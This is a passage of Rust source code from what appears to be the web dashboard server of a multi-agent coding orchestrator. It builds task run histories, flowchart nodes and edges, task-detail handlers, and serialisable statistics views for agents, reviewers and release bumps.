6315            exit: RunExit::Unreadable,
6316            attempt: AttemptCost::Unknown,
6317            exit_label: RunExit::Unreadable.edge_label(None),
6318            later_pass: resumed_later,
6319            pass_n,
6320            passes_of_run,
6321            pass: None,
6322            branch: None,
6323            badge: None,
6324        };
6325    };
6326    let branch = review_branch_of(&s.instruction);
6327    let kind = if resumed {
6328        "resume"
6329    } else if branch.is_some() {
6330        "review"
6331    } else if task.solo || s.candidates.len() == 1 {
6332        "solo"
6333    } else {
6334        "competition"
6335    };
6336    let mut description = match kind {
6337        "resume" => {
6338            format!("Resumed run {short}: the same run carried on instead of competing again.")
6339        }
6340        "review" => format!(
6341            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6342            branch.unwrap_or_default()
6343        ),
6344        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6345        _ => format!(
6346            "Competition: {} candidates judged blind.",
6347            s.candidates.len().max(1)
6348        ),
6349    };
6350    if !resumed && let Some((p, st)) = prior {
6351        description.push_str(&format!(
6352            " A retry: run {p} before it ended {}.",
6353            st.display_label()
6354        ));
6355    }
6356
6357    let status = s.status;
6358    let provisional = matches!(status, RunStatus::Stalled)
6359        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6360    let head = if resumed_later.is_some() {
6361        String::new()
6362    } else {
6363        match status {
6364            RunStatus::Merged => "Merged.".to_owned(),
6365            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6366            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6367            RunStatus::AlreadyInBase => {
6368                "Already in the base: this change landed under other commits, nothing was left to land."
6369                    .to_owned()
6370            }
6371            RunStatus::Stalled => {
6372                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6373                    .to_owned()
6374            }
6375            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6376            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6377            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6378            RunStatus::VerifiedNoop => {
6379                "Verified no-op: the candidates found nothing to change.".to_owned()
6380            }
6381            other if other.done() => format!("Ended {}.", other.display_label()),
6382            other => format!("In progress ({}).", other.display_label()),
6383        }
6384    };
6385    let view = pass.map(|p| PassView::of(p, settled));
6386    let recorded_end = view
6387        .as_ref()
6388        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6389    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6390        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6391        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6392        None => "whether its attempt was handed back was not recorded",
6393    };
6394    let pass_note = if passes_of_run > 1 {
6395        format!(
6396            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6397        )
6398    } else {
6399        String::new()
6400    };
6401    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6402        // The run recorded this pass's end when it happened.
6403        let cause = match v.end {
6404            "parked" => format!("It was stopped on purpose: {}.", v.label),
6405            _ => format!("It {}.", v.label),
6406        };
6407        format!(
6408            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6409            capitalise(cost_words)
6410        )
6411    } else if let Some(k) = resumed_later {
6412        // A run is only picked up again while it is unfinished, so an earlier
6413        // pass of a repeated id stopped short; the record keeps only the run's
6414        // latest status, which is left to the pass that carried it on.
6415        // Only the latest state is recorded: `parked` is cleared on resume
6416        // and `quota` accumulates across passes, so neither says why *this*
6417        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6418        let cause = if s.quota.is_empty() {
6419            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6420        } else {
6421            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6422        };
6423        format!(
6424            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6425        )
6426    } else if s.parked {
6427        match recorded_end.and_then(|v| v.cause.as_ref()) {
6428            Some(cause) => format!(
6429                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6430                cause.label(),
6431                cost_words
6432            ),
6433            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6434                .to_owned(),
6435        }
6436    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6437        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6438    } else if !status.done()
6439        || matches!(
6440            status,
6441            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6442        )
6443    {
6444        String::new()
6445    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6446        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6447    {
6448        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6449            .to_owned()
6450    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6451        " It left a pull request open, so the task was held for a person rather than retried."
6452            .to_owned()
6453    } else if matches!(status, RunStatus::VerifiedNoop) {
6454        " Held for a person to check the claim.".to_owned()
6455    } else if last {
6456        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6457    } else {
6458        " It spent an attempt, and the task moved on to the next run.".to_owned()
6459    };
6460    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6461    let mut attempt = exit.cost();
6462    let mut exit_label = None;
6463    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6464        let spent = match v.cost {
6465            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6466            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6467            None if resumed_later.is_some() => ", refund not recorded",
6468            None => ", attempt refunded",
6469        };
6470        attempt = match v.cost {
6471            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6472            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6473            None if resumed_later.is_some() => AttemptCost::Unknown,
6474            None => attempt,
6475        };
6476        if v.end == "parked" {
6477            exit = RunExit::Parked;
6478            exit_label = Some(match v.cause.as_ref() {
6479                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6480                    format!("parked for {}{spent}", c.label())
6481                }
6482                Some(c) => format!("parked ({}){spent}", c.label()),
6483                None => format!("parked{spent}"),
6484            });
6485        } else {
6486            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6487        }
6488    }
6489    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6490    TaskRunView {
6491        activity: None,
6492        n,
6493        id: id.to_owned(),
6494        short,
6495        kind,
6496        status: Some(status.as_str()),
6497        readable: true,
6498        provisional,
6499        description,
6500        outcome: format!("{head}{why}"),
6501        created_at: Some(s.created_at),
6502        pr: s.pr.as_ref().map(|p| p.url.clone()),
6503        exit,
6504        attempt,
6505        exit_label,
6506        later_pass: resumed_later,
6507        pass_n,
6508        passes_of_run,
6509        pass: view,
6510        branch: branch.map(str::to_owned),
6511        badge: None,
6512    }
6513}
6514
6515fn capitalise(s: &str) -> String {
6516    let mut c = s.chars();
6517    c.next().map_or_else(String::new, |f| {
6518        f.to_uppercase().collect::<String>() + c.as_str()
6519    })
6520}
6521
6522/// One box of the task's flowchart.
6523#[derive(Debug, Serialize, PartialEq)]
6524struct FlowNode {
6525    /// Unique by position: a resumed run id appears once per pass.
6526    key: String,
6527    /// `chat`, `followup`, `start`, `run` or `end`.
6528    kind: &'static str,
6529    label: String,
6530    /// Run status (or the task's, for `end`); `None` when it is not a fact
6531    /// about this box (unreadable, or a pass the run later resumed from).
6532    status: Option<&'static str>,
6533    /// Whose status `status` is, so the client picks the right colour table:
6534    /// `task` (the `followup` parent and `end`) or `run`.
6535    status_of: &'static str,
6536    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6537    note: Option<&'static str>,
6538    run_kind: Option<&'static str>,
6539    detail: Option<String>,
6540    /// A readable run with a real verdict; a stall never is.
6541    decided: bool,
6542    readable: bool,
6543    href: Option<String>,
6544    /// Overrides `status` as the badge word (`stale` / `superseded`).
6545    badge: Option<String>,
6546    /// Start of this entry, never the run's latest update or pass settlement.
6547    started_at: Option<Timestamp>,
6548    /// Context links (chat / follow-up) do not represent execution entries.
6549    time_expected: bool,
6550}
6551
6552#[derive(Debug, Serialize, PartialEq)]
6553struct FlowEdge {
6554    from: String,
6555    to: String,
6556    label: String,
6557    attempt: AttemptCost,
6558}
6559
6560#[derive(Debug, Serialize, PartialEq)]
6561struct FlowView {
6562    nodes: Vec<FlowNode>,
6563    edges: Vec<FlowEdge>,
6564    /// Attempts the task has counted since it was last released.
6565    attempts: usize,
6566    max_attempts: usize,
6567    /// Entries in the run list (passes), and how many distinct runs they are.
6568    /// Neither is the number of attempts consumed.
6569    passes: usize,
6570    runs: usize,
6571}
6572
6573/// Turn a task and its described runs into the flowchart's boxes and arrows.
6574/// Pure: the page only draws what this returns.
6575///
6576/// A follow-up opens with its parent (or the merged run) unless the task's
6577/// *source* is itself a chat, in which case the chat stays first and the
6578/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6579/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6580/// two normally do not coincide and the nearer origin wins.
6581fn task_flow(
6582    task: &Task,
6583    history: &[TaskRunView],
6584    max_attempts: usize,
6585    origin: Option<&FollowUpOrigin>,
6586) -> FlowView {
6587    let max_attempts = task.effective_attempt_limit(max_attempts);
6588    let node = |key: &str, kind, label: String| FlowNode {
6589        key: key.to_owned(),
6590        kind,
6591        label,
6592        status: None,
6593        status_of: "run",
6594        note: None,
6595        run_kind: None,
6596        detail: None,
6597        decided: false,
6598        readable: true,
6599        href: None,
6600        badge: None,
6601        started_at: None,
6602        time_expected: matches!(kind, "start" | "run" | "end"),
6603    };
6604    let mut nodes = Vec::new();
6605    let mut edges: Vec<FlowEdge> = Vec::new();
6606    // A task queued from a chat opens the flow with that conversation.
6607    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6608        let mut n = node(
6609            "chat",
6610            "chat",
6611            format!("Chat {}", crate::queue::short(&link.id)),
6612        );
6613        n.href = Some(link.href);
6614        nodes.push(n);
6615        edges.push(FlowEdge {
6616            from: "chat".to_owned(),
6617            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6618            label: "queued from chat".to_owned(),
6619            attempt: AttemptCost::None,
6620        });
6621    }
6622    if let Some(o) = origin {
6623        let mut n = match &o.parent {
6624            Some(p) => {
6625                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6626                n.status = Some(p.status);
6627                n.status_of = "task";
6628                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6629                n.href = Some(p.href.clone());
6630                n
6631            }
6632            None => {
6633                let mut n = node(
6634                    "origin",
6635                    "followup",
6636                    format!("Follow-up of run {}", o.run.short),
6637                );
6638                n.detail = Some("merged run".to_owned());
6639                n.status = o.run.status;
6640                n.href = o.run.href.clone();
6641                if o.run.href.is_none() {
6642                    n.readable = false;
6643                    n.note = Some("unreadable");
6644                }
6645                n
6646            }
6647        };
6648        n.decided = true;
6649        let from = n.key.clone();
6650        nodes.push(n);
6651        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6652        let more = o.findings.len().saturating_sub(shown.len());
6653        let label = match (shown.is_empty(), more) {
6654            (true, _) => "open findings".to_owned(),
6655            (false, 0) => format!("open findings {}", shown.join(", ")),
6656            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6657        };
6658        edges.push(FlowEdge {
6659            from,
6660            to: "start".to_owned(),
6661            label,
6662            attempt: AttemptCost::None,
6663        });
6664    }
6665    let mut start = node("start", "start", "Task queued".to_owned());
6666    start.started_at = Some(task.created_at);
6667    nodes.push(start);
6668    let mut prev = "start".to_owned();
6669    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6670    for (i, h) in history.iter().enumerate() {
6671        let key = format!("run-{}", h.n);
6672        let mut n = node(&key, "run", format!("Run {}", h.short));
6673        // Creation marks only the first pass of legacy runs. A resumed pass
6674        // without a record must not inherit the original run's start time.
6675        n.started_at = h
6676            .readable
6677            .then(|| {
6678                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6679                    h.created_at
6680                } else {
6681                    None
6682                })
6683            })
6684            .flatten();
6685        n.run_kind = Some(h.kind);
6686        n.readable = h.readable;
6687        n.href = Some(format!("#/runs/{}", h.id));
6688        n.decided = h.readable && !h.provisional;
6689        n.detail = h
6690            .branch
6691            .as_ref()
6692            .map(|b| format!("review-only run of branch {b}"));
6693        match h.exit {
6694            RunExit::Unreadable => n.note = Some("unreadable"),
6695            RunExit::Interrupted => n.note = Some("interrupted"),
6696            // An earlier pass the run recorded as parked: the status shown
6697            // would be the run's current one, not this pass's.
6698            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6699            _ => {
6700                n.status = h.status;
6701                n.badge = h.badge.clone();
6702                if h.provisional {
6703                    n.note = Some("no verdict");
6704                }
6705            }
6706        }
6707        let into = match h.kind {
6708            "review" => Some(format!(
6709                "review-only run of branch {}",
6710                h.branch.as_deref().unwrap_or("?")
6711            )),
6712            "resume" => Some("resume the same run".to_owned()),
6713            _ if i > 0 => Some("retry".to_owned()),
6714            _ => None,
6715        };
6716        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6717        let label = match (prev_exit, into) {
6718            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6719            (Some((_, l, _)), None) => l,
6720            (None, Some(i)) => i,
6721            (None, None) => "claimed".to_owned(),
6722        };
6723        edges.push(FlowEdge {
6724            from: prev.clone(),
6725            to: key.clone(),
6726            label,
6727            attempt,
6728        });
6729        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6730        prev = key;
6731        nodes.push(n);
6732    }
6733    let mut end = node("end", "end", task.status.as_str().to_owned());
6734    end.status = Some(task.status.as_str());
6735    end.status_of = "task";
6736    // Other task states do not persist their transition start. In particular,
6737    // blocked_at can change while the task remains blocked.
6738    if task.status == TaskStatus::Held {
6739        end.started_at = task.held_at;
6740    }
6741    nodes.push(end);
6742    let (label, attempt) = match prev_exit {
6743        None => (
6744            format!("no run yet \u{2192} {}", task.status.as_str()),
6745            AttemptCost::None,
6746        ),
6747        Some((e, l, cost)) if e.explains(task.status) => {
6748            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6749        }
6750        Some((_, _, cost)) => (
6751            format!("closed by hand: task is {}", task.status.as_str()),
6752            cost,
6753        ),
6754    };
6755    edges.push(FlowEdge {
6756        from: prev,
6757        to: "end".to_owned(),
6758        label,
6759        attempt,
6760    });
6761    FlowView {
6762        nodes,
6763        edges,
6764        attempts: task.attempts,
6765        max_attempts,
6766        passes: history.len(),
6767        runs: distinct_runs(&task.runs),
6768    }
6769}
6770
6771/// How many different run ids a task's run list names.
6772fn distinct_runs(runs: &[String]) -> usize {
6773    let mut seen: Vec<&str> = Vec::new();
6774    for r in runs {
6775        if !seen.contains(&r.as_str()) {
6776            seen.push(r);
6777        }
6778    }
6779    seen.len()
6780}
6781
6782/// Describe recorded task passes, retaining unrecorded legacy list entries.
6783fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6784    let mut slots = Vec::new();
6785    let mut seen = Vec::new();
6786    for run_id in &task.runs {
6787        if seen.contains(&run_id) {
6788            continue;
6789        }
6790        seen.push(run_id);
6791        let state = read(run_id);
6792        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6793            s.passes
6794                .iter()
6795                .filter(|p| {
6796                    p.task_entry
6797                        || task
6798                            .passes
6799                            .iter()
6800                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6801                })
6802                .cloned()
6803                .collect()
6804        });
6805        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6806        let total = legacy_count.max(mine.len());
6807        let offset = total - mine.len();
6808        for k in 0..total {
6809            // Legacy repeated entries retain their original positions. When
6810            // ids are unique, recorded pass times recover the resume order.
6811            let position = task
6812                .runs
6813                .iter()
6814                .enumerate()
6815                .filter(|(_, r)| *r == run_id)
6816                .nth(k.min(legacy_count - 1))
6817                .unwrap()
6818                .0;
6819            slots.push((
6820                run_id,
6821                state.clone(),
6822                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6823                position,
6824            ));
6825        }
6826    }
6827    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6828        slots.sort_by_key(|(_, state, pass, _)| {
6829            pass.as_ref()
6830                .map(|p| p.started_at)
6831                .or_else(|| state.as_ref().map(|s| s.created_at))
6832                .map_or((true, task.created_at), |at| (false, at))
6833        });
6834    } else {
6835        slots.sort_by_key(|(_, _, _, position)| *position);
6836    }
6837    let mut history = Vec::with_capacity(slots.len());
6838    let mut seen: Vec<&str> = Vec::new();
6839    let mut prior: Option<(&str, RunStatus)> = None;
6840    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6841        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6842        let resumed = k > 0;
6843        seen.push(run_id);
6844        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6845        let pass = pass.as_ref();
6846        let settled = pass.and_then(|p| {
6847            task.passes
6848                .iter()
6849                .find(|t| t.run == **run_id && t.pass_index == p.index)
6850        });
6851        history.push(task_run_view(
6852            run_id,
6853            state.as_ref(),
6854            RunSlot {
6855                n: i + 1,
6856                resumed,
6857                resumed_later: slots[i + 1..]
6858                    .iter()
6859                    .position(|(id, _, _, _)| id == run_id)
6860                    .map(|off| i + off + 2),
6861                prior,
6862                last: i + 1 == slots.len(),
6863                pass,
6864                settled,
6865                pass_n: k + 1,
6866                passes_of_run: total,
6867            },
6868            task,
6869        ));
6870        if let Some(s) = &state {
6871            prior = Some((run::short_of(run_id), s.status));
6872        }
6873    }
6874    history
6875}
6876
6877/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6878/// An earlier pass of a resumed run keeps no badge (it has no status box).
6879fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6880    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6881        return;
6882    }
6883    let (_, claimed, _) = run_row_inputs(ui);
6884    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6885    for h in history
6886        .iter_mut()
6887        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6888    {
6889        let Ok(state) = read_run(&ui.runs, &h.id) else {
6890            continue;
6891        };
6892        if state.status.done() {
6893            continue;
6894        }
6895        let live = state.liveness_with(
6896            claimed.contains(&h.id),
6897            |p| probe.borrow_mut().status(p),
6898            |p| probe.borrow_mut().started_at(p),
6899        );
6900        let waiting = !ui.questions.open_for(&h.id).is_empty();
6901        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6902        let display = run_display_status(&state, waiting, live);
6903        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6904        if matches!(word.as_str(), "stale" | "superseded")
6905            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6906        {
6907            h.badge = Some(word);
6908        }
6909    }
6910}
6911
6912async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6913    blocking(move || {
6914        let id = resolve_task(&ui.queue, &id)?;
6915        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6916    })
6917    .await
6918}
6919
6920async fn task_detail(
6921    State(ui): State<Arc<Ui>>,
6922    Path(id): Path<String>,
6923) -> ApiResult<Json<TaskDetailView>> {
6924    blocking(move || {
6925        let id = resolve_task(&ui.queue, &id)?;
6926        let task = ui
6927            .queue
6928            .get(&id)
6929            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6930        let inv = if task.status == TaskStatus::Blocked {
6931            Some(crate::blockers::Inventory::load_for(
6932                &ui.queue,
6933                &ui.questions,
6934                &task,
6935            ))
6936        } else {
6937            None
6938        };
6939        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6940        mark_badges(&ui, &task, &mut history);
6941        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6942        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6943        let origin = task.followup.as_ref().map(|fu| {
6944            followup_origin(
6945                fu,
6946                |tid| ui.queue.get(tid).ok(),
6947                |rid| read_run(&ui.runs, rid).ok(),
6948            )
6949        });
6950        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6951        let task_view = match inv.as_ref() {
6952            Some(inv) => TaskView::with_inventory(task, inv),
6953            None => TaskView::from(task),
6954        }
6955        .with_recovery_decisions(&ui.questions);
6956        Ok(Json(TaskDetailView {
6957            max_attempts,
6958            flow,
6959            followup_origin: origin,
6960            passes_total: history.len(),
6961            runs_distinct: distinct_runs(&task_view.task.runs),
6962            history,
6963            runs_unreadable,
6964            attempts_note: ATTEMPTS_NOTE,
6965            task: task_view,
6966        }))
6967    })
6968    .await
6969}
6970
6971/// A rate together with its denominator, so the client can tell "computed as
6972/// 0%" apart from "no data to compute it from" — both would otherwise
6973/// serialize as `0.0`. `None` means the denominator was zero.
6974#[derive(Debug, Serialize)]
6975struct RateView {
6976    pct: f64,
6977    denominator: usize,
6978}
6979
6980impl RateView {
6981    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6982        (denominator > 0).then(|| Self {
6983            pct: 100.0 * numerator as f64 / denominator as f64,
6984            denominator,
6985        })
6986    }
6987}
6988
6989/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6990/// rates, each paired with its own denominator via [`RateView`] rather than
6991/// exposing `Stats`' own percentage methods directly — see this module's
6992/// doc for why `Stats` itself is never serialized.
6993#[derive(Debug, Serialize)]
6994struct StatsTotalsView {
6995    runs: usize,
6996    merged: usize,
6997    ready: usize,
6998    blocked: usize,
6999    failed: usize,
7000    stalled: usize,
7001    verified_noop: usize,
7002    superseded: usize,
7003    in_progress: usize,
7004    completion_rate: Option<RateView>,
7005    tallied: usize,
7006    split: usize,
7007    split_rate: Option<RateView>,
7008    deliberated: usize,
7009    minds_changed: usize,
7010    converged: usize,
7011    review_rounds: usize,
7012}
7013
7014impl From<&stats::Totals> for StatsTotalsView {
7015    fn from(t: &stats::Totals) -> Self {
7016        Self {
7017            runs: t.runs,
7018            merged: t.merged,
7019            ready: t.ready,
7020            blocked: t.blocked,
7021            failed: t.failed,
7022            stalled: t.stalled,
7023            verified_noop: t.verified_noop,
7024            superseded: t.superseded,
7025            in_progress: t.in_progress,
7026            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7027            tallied: t.tallied,
7028            split: t.split,
7029            split_rate: RateView::of(t.split, t.tallied),
7030            deliberated: t.deliberated,
7031            minds_changed: t.minds_changed,
7032            converged: t.converged,
7033            review_rounds: t.review_rounds,
7034        }
7035    }
7036}
7037
7038/// [`crate::stats::AgentStats`] for the wire.
7039#[derive(Debug, Serialize)]
7040struct AgentStatsView {
7041    agent: String,
7042    entered: usize,
7043    wins: usize,
7044    empty: usize,
7045    win_rate: Option<RateView>,
7046    competitive_entered: usize,
7047    competitive_wins: usize,
7048    competitive_win_rate: Option<RateView>,
7049    solo_entered: usize,
7050    solo_adopted: usize,
7051    solo_adoption_rate: Option<RateView>,
7052}
7053
7054impl From<&stats::AgentStats> for AgentStatsView {
7055    fn from(a: &stats::AgentStats) -> Self {
7056        Self {
7057            agent: a.agent.clone(),
7058            entered: a.entered,
7059            wins: a.wins,
7060            empty: a.empty,
7061            win_rate: RateView::of(a.wins, a.entered),
7062            competitive_entered: a.competitive_entered,
7063            competitive_wins: a.competitive_wins,
7064            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7065            solo_entered: a.solo_entered,
7066            solo_adopted: a.solo_adopted,
7067            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7068        }
7069    }
7070}
7071
7072/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7073/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7074/// value, `None` when `rounds` is zero.
7075#[derive(Debug, Serialize)]
7076struct ReviewerStatsView {
7077    agent: String,
7078    rounds: usize,
7079    seated: usize,
7080    submitted: usize,
7081    adopted: usize,
7082    unique: usize,
7083    timeouts: usize,
7084    adopted_per_round: Option<f64>,
7085    precision: Option<RateView>,
7086    unique_rate: Option<RateView>,
7087    timeout_rate: Option<RateView>,
7088}
7089
7090impl From<&stats::ReviewerStats> for ReviewerStatsView {
7091    fn from(r: &stats::ReviewerStats) -> Self {
7092        Self {
7093            agent: r.agent.clone(),
7094            rounds: r.rounds,
7095            seated: r.seated,
7096            submitted: r.submitted,
7097            adopted: r.adopted,
7098            unique: r.unique,
7099            timeouts: r.timeouts,
7100            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7101            precision: RateView::of(r.adopted, r.submitted),
7102            unique_rate: RateView::of(r.unique, r.submitted),
7103            timeout_rate: RateView::of(r.timeouts, r.seated),
7104        }
7105    }
7106}
7107
7108/// [`crate::stats::AdvisorStats`] for the wire.
7109///
7110/// `reflection_rate` is approximate by construction — see
7111/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7112/// that caveat is static text in `index.html`, not a field here.
7113#[derive(Debug, Serialize)]
7114struct AdvisorStatsView {
7115    agent: String,
7116    seated: usize,
7117    proposed: usize,
7118    absent: usize,
7119    faint: usize,
7120    strong: usize,
7121    reflection_rate: Option<RateView>,
7122}
7123
7124impl From<&stats::AdvisorStats> for AdvisorStatsView {
7125    fn from(a: &stats::AdvisorStats) -> Self {
7126        Self {
7127            agent: a.agent.clone(),
7128            seated: a.seated,
7129            proposed: a.proposed,
7130            absent: a.absent,
7131            faint: a.faint,
7132            strong: a.strong,
7133            reflection_rate: RateView::of(a.strong, a.proposed),
7134        }
7135    }
7136}
7137
7138/// [`crate::stats::E2eStats`] for the wire.
7139#[derive(Debug, Serialize)]
7140struct E2eStatsView {
7141    rounds: usize,
7142    failures: usize,
7143    sole_detections: usize,
7144    deferred: usize,
7145    sole_rate: Option<RateView>,
7146}
7147
7148impl From<&stats::E2eStats> for E2eStatsView {
7149    fn from(e: &stats::E2eStats) -> Self {
7150        Self {
7151            rounds: e.rounds,
7152            failures: e.failures,
7153            sole_detections: e.sole_detections,
7154            deferred: e.deferred,
7155            sole_rate: RateView::of(e.sole_detections, e.failures),
7156        }
7157    }
7158}
7159
7160/// [`crate::stats::ReleaseBumpStats`] for the wire.
7161///
7162/// `clean` is sent as a raw count, computed the same way
7163/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7164/// needs_attention`) — never derived client-side from `automerge_enabled`,
7165/// which would misclassify a `merged_directly` bump (automerge rejected, but
7166/// magi merged it directly, so no human involvement) as needing attention.
7167#[derive(Debug, Serialize)]
7168struct ReleaseBumpStatsView {
7169    merged: usize,
7170    recorded: usize,
7171    pr_opened: usize,
7172    automerge_enabled: usize,
7173    merged_directly: usize,
7174    needs_attention: usize,
7175    clean: usize,
7176    coverage_rate: Option<RateView>,
7177    automerge_rate: Option<RateView>,
7178    attention_rate: Option<RateView>,
7179}
7180
7181impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7182    fn from(b: &stats::ReleaseBumpStats) -> Self {
7183        Self {
7184            merged: b.merged,
7185            recorded: b.recorded,
7186            pr_opened: b.pr_opened,
7187            automerge_enabled: b.automerge_enabled,
7188            merged_directly: b.merged_directly,
7189            needs_attention: b.needs_attention,
7190            clean: b.clean(),
7191            coverage_rate: RateView::of(b.recorded, b.merged),
7192            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7193            attention_rate: RateView::of(b.needs_attention, b.recorded),
7194        }
7195    }
7196}
7197
7198/// [`crate::queue::TaskCounts`] for the wire.
7199#[derive(Debug, Serialize)]
7200struct TaskCountsView {
7201    queued: usize,
7202    running: usize,
7203    done: usize,
7204    failed: usize,
7205    held: usize,
7206    blocked: usize,
7207    parked: usize,
7208}
7209
7210impl From<crate::queue::TaskCounts> for TaskCountsView {
7211    fn from(c: crate::queue::TaskCounts) -> Self {
7212        Self {
7213            queued: c.queued,
7214            running: c.running,
7215            done: c.done,
7216            failed: c.failed,
7217            held: c.held,
7218            blocked: c.blocked,
7219            parked: c.parked,
7220        }
7221    }
7222}
7223
7224/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7225/// runs recorded — the summary the UI's repository selector is built from.
7226/// Carries no nested `Stats`: picking a repo means re-fetching
7227/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7228/// aggregation rather than duplicating it.
7229#[derive(Debug, Serialize)]
7230struct RepoSummaryView {
7231    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7232    /// against, full path and all (see [`stats_get`]'s own doc for why).
7233    repo: String,
7234    /// Display name only; never used for matching.
7235    name: String,
7236    runs: usize,
7237    completion_rate: Option<RateView>,
7238}
7239
7240impl From<&stats::RepoStats> for RepoSummaryView {
7241    fn from(r: &stats::RepoStats) -> Self {
7242        let t = &r.stats.totals;
7243        Self {
7244            repo: r.repo.to_string_lossy().into_owned(),
7245            name: r.name.clone(),
7246            runs: t.runs,
7247            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7248        }
7249    }
7250}
7251
7252/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7253/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7254/// renders from them) are free to grow without that becoming a wire-contract
7255/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7256/// data" from "computed and it really is zero" the way [`RateView`] does.
7257#[derive(Debug, Serialize)]
7258struct StatsView {
7259    totals: StatsTotalsView,
7260    /// Best win rate first, as [`stats::collect`] already sorts it.
